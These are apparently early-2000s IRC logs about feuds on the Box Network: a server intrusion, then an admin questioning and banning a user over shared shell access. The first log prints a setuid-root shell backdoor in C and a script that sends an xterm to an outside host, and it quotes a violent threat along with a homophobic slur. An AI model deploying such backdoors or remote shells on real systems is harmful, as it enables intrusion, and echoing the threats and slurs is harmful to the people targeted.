<cube> [04:54] <b00t> I'll get bored sitting here with control of a box 
<Mikkkeee> get 
<cube> [04:55] <b00t> I could hijace the connectionM 
<cube> [04:56] <b00t> the ultimate prize is neworder.box.skM 
<Mikkkeee> i thought he found a vul that gave him a shell something else 
<cube> it's mike as b00t 
<Mikkkeee> i know 
<cube> ok it's not all 
<cube> can you spare few more minutes 
<Mikkkeee> sure 
<Mikkkeee> i got an hr 
<cube> ok sec 
<cube> dwarf:/home/mike# ls -la *.c 
<cube> -rwx------ 1 root root 166 Jun 17 11:37 sfdfwd.c 
<cube> -rwx------ 1 root root 104 Jun 17 11:37 sfdsh.c 
<cube> -rwx------ 1 root root 100 Jun 17 11:32 vcsh.c 
<cube> dwarf:/home/mike# cat vcsh.c 
<cube> #include <unistd.h> 
<cube> 
<cube> int main() { 
<cube> setuid(0); 
<cube> setgid(0); 
<cube> execl("/bin/sh", "sh", NULL); 
<cube> } 
<cube> --- and similar bullshit 
<cube> but it's not still all 
<cube> now look 
<cube> dwarf:/home/mike# cd /home/oxblood/<cube> dwarf:/home/oxblood# ls -la 
<cube> total 20 
<cube> drwxr-xr-x 3 1123 1123 4096 Jun 18 02:10 . 
<cube> drwsrwsr-x 149 root staff 4096 May 31 04:35 .. 
<cube> drwxr-xr-x 2 1123 1123 4096 Jun 18 02:37 images 
<cube> -rw-r--r-- 1 1123 1123 43 Jun 18 02:04 pass.php 
<cube> -rwxr-xr-x 1 1123 1123 54 Jun 18 02:01 xt 
<cube> dwarf:/home/oxblood# cat xt 
<cube> #!/bin/bash 
<cube> export DISPLAY=unixclan.box.sk:0.0 
<cube> xterm 
<cube> --- he sent malicious code to oxblood to continue with hacking 
<cube> and that's still not all 
<cube> wait 
<Mikkkeee> did onslought give you this log? 
<cube> yes 
<cube> wait 
<cube> I have memo engine at edge.box.sk 
<cube> this came today morning 

### ---- now comes the Oxbloods message by Memo engine at edge.box.sk and science.box.sk 
#*#* This message was actually engineered by kript0n or duke or one of the faggots
because there wasnt enough evidence to get oxblood removed from his high admin status, which was dangerously close
to that of the fags

<cube> OXblood 
<cube> 18.Jun 2001 msg id 99 

<cube> Ill give you 24 hours... if duke and kript0n and caboom and any other op out of line is 
not beaten with a cattle prong and permanently terminated from this network with no 
questions asked: I WILL MAKE IT MY LIFES WORK TO PERSONALLY TORTURE, TERRORIZE AND 
YOU AND YOUR NETWORK YOUR JOB IS IN RUINS... REMEMBER THAT! IF ITS THE LAST FUCKING 
THING I EVER FUCKING DO! 
<cube> GET IT. 
<cube> GOT IT. 
<cube> FUCKING GOOD. 
<cube> REPLY | DELETE 

### ---- message ends 

<cube> he was even trying to phone call me 
<cube> at 5am 
<cube> but I turned mobile off 
<cube> not in the mood to speak with 13 yrs fucking stupid kid when fixing all servers around 

There comes a few of threats by e-mail from Oxblooed and Mike's e-mails which speak about 
runing box network servers and my life this day, which I ignored. 
#*#* JUST PROVING YOUR A COMPLETE DUMBASS, YOUR FUCKED NOW EH? WISH YOU'D LISTEN EH?

And it's actually the end of the story (?) until now. 
#*#* Until NOW.

Marek Bednar aka Cube 
Box Network founder

<Grendel> ok
<gvs> k
<Grendel> whats your connection with zemos ?
<gvs> sorry?
<Grendel> whats your relation with zemos network ?
<gvs> Engaged
<gvs> gettin married  next month
<Grendel> i'm serious amte
<Grendel> mate*
<gvs> no but seriously
<gvs> wtf does it matter
<Grendel> it matters
<gvs> I didn't abuse any op power lol
<Grendel> so just answer me
<gvs> so now you will interrogate me about who I talk to?
<Grendel> no but if you want to make it hard on yourself go on
<Grendel> so i ask you friendly, what your relation is to zemos ?
<gvs> ok my "relation"
<gvs> I just talk to two of them
<Grendel> jason and mikecc ?
<gvs> and the point of this not-so-pleasant conversation is?
<gvs> yea
<Grendel> ok
<Grendel> i'll get to the point soon :)
<gvs> ok lol
<Grendel> does one of them have a shell on your computer ?
<gvs> mikecc had a shell on my server but he never logged on :)
<gvs> the server isn't up no more anyways
<Grendel> ok :)
<Grendel> you make use of 2 static ip's ?
<gvs> huh?
<Grendel> skynet and pi ?
<gvs> I just gone ip from skynet.be, and that's dynamic
<Grendel> so you never used PI /
<Grendel> ?
<gvs> Pi is a shell from a friend
<Grendel> that shell is from jason ?
<gvs> I think what Ip exatcly
<gvs> I could check with him
<Grendel> lemme get it for you 
<Grendel> zemos_jayson] (gvs@u212-239-207-206.adsl.pi.be) : Gorik Van Steenberge
<Grendel> can you explain that ?
<gvs> yep I can
<Grendel> go ahead
<gvs> You glined all the IP's from zemos
<gvs> and I asked why he didnt went to #linux anymore
<gvs> he said he was glined
<Grendel> no not me, it was a policy by all admins to gline zemos ppl who made trouble on the boards of box.
<Grendel> so you gave him a shell ?
<gvs> yea
<Grendel> ok
<gvs> Is it a crime now?
<Grendel> why did you deny you gave them a shell ? you said it was long time ago ?
<gvs> huh when did I deny it?
<Grendel> i appreciate honesty
<Grendel> <Grendel> does one of them have a shell on your computer ?
<Grendel> <gvs> mikecc had a shell on my server but he never logged on :)
<Grendel> <gvs> the server isn't up no more anyways
<Grendel> <gvs> I just gone ip from skynet.be, and that's dynamic
<gvs> yep mikecc didnt have a shell on my server
<Grendel> <Grendel> does one of them have a shell on your computer ?
<Grendel> ^^
<gvs> I gave jason a shell on a server that isn't physically located in my home
<gvs> not my computer
<Grendel> i know enough about the shell, ok
<gvs> just a friends box who I help update etc
<gvs> now we get to the point of this chat
<Grendel> since they are not wanted on this server, they use your shell or whatever with your name, so other ppl start to think you and them are the same
<Grendel> you know ?
<gvs> wtf do you mean with the "same"
<gvs> I dont care what some irc lamer thinks about me
<Grendel> do use your name,ident and ppl like admins see that and think you are part of their spamming 
<gvs> spamming?
<Grendel> well i'm sure they know what i mean, but the point is your name comes up with their name so ppl take it that you and them are part of spamming activities and flooding box boards like on blacksun
<Grendel> so when they are glined your ip is also glined because of them, not because of you
<gvs> mhm well I don't EOS (end of story)
<gvs> ah well then I cant help out on irc :)
<Grendel> i don't think you should see it as 'funny' cause people rely on you and your integrity
<gvs> but I didn't give him shell access on my box
<Grendel> well thats all i wanted to talk with you about, and point you to the fact that if they abuse their 'shell' you gave them it is a waste of that ip which will be glined
<gvs> how did he abuse it?
<Grendel> i don't remember but i know it is abused for spamming and other things
<Grendel> so thats all i want you to know
<gvs> sorry?
<gvs> I want to know what he did
<Grendel> ask him yourself
<gvs> I will
<Grendel> it's a long long history with zemos, before your time here or before you knew them
<Grendel> i just don't want you to be the victem of their deeds
<gvs> mike & jason told me a lot
<gvs> lol
<gvs> mhm so they get glined one of my many shells on an ircserver...
<gvs> Not that big a deal :)
<Grendel> well as i said, it has to do with their other lame activities on the sites of box etc
<gvs> well I could care less about what box says they did
<Grendel> you know what ?
<Grendel> you're gone
<gvs> in what way?
<gvs> gone like chubba or chris?
<Grendel> i'm sorry to do that but if there is no respect and diplomacy with each other then there is no future
<gvs> diplomacy?
<gvs> look I don't moderate bsrf or neworder
<gvs> so I shouldn't care about it
<gvs> if they flood on linux.box I will
<gvs> You know, by doing that
<gvs> You justify a lot of stuff that mike & jason said about box
<gvs> I took with a grain of salt before this lol
<Grendel> be gone mate, you have nothing to search here anymore
<Grendel> bye
<gvs> I have stuff to search here :)
<gvs> ppl to talk to, ppl to help out with linux
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<gvs> I don't need ops for that
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